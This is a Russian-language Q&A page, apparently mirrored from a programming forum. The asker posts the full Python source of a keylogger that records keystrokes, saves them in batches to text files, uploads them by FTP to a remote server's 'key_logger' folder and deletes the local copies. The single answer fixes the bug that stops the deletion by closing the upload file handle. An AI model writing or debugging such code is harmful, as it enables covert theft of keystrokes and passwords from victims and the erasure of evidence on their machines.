Невозможно удалить файл после загрузки с помощью Python ftplib - PullRequest
1 голос
/ 31 октября 2019

Это моя полная программа:

from ftplib import FTP
from keyboard import read_key
from multiprocessing import Process
from os import unlink
from random import random


def send_file(data):
    username = str(int(random() * 10000)) + "m.txt"
    ftp = FTP('***')
    file = open(username, 'x+')
    for stroke in data:
        file.write(stroke)
    data.clear()
    file.close()
    while True:
        try:
            ftp.login(user='***', passwd='***')
            ftp.cwd('key_logger')
            ftp.storbinary("STOR " + username, open(username, 'rb'))
            ftp.quit()
            break
        except Exception:
            ftp.set_pasv(True)
            continue
    unlink(username)


def get_strokes():
    strokes = []
    i = 0
    while True:
        key1 = read_key()
        if i == 0:
            strokes.append(key1)
        elif strokes.__len__() > 20:
            send = Process(target=send_file, args=(strokes, ), name="main")
            send.start()
            strokes.clear()
        i += 1
        i %= 2


if __name__ == '__main__':
    get = Process(target=get_strokes(), args=())
    get.start()
    get.join()

Я делаю кейлоггер, который прослушивает мазки и сохраняет их в strokes. Когда strokes достигает определенной длины, они сохраняются в файле .txt, а затем отправляются на мой сервер.

, тогда мне нужно удалить файл .txt с помощью os.remove() или os.unlink, но ни один изони удаляют мой файл.

1 Ответ

1 голос
/ 31 октября 2019

Вы никогда не закрываете файл, который открываете для загрузки. Таким образом, он заблокирован и не может быть удален.

Правильный способ загрузки файла:

with open(username, 'rb') as f:
    ftp.storbinary("STOR " + username, f)
...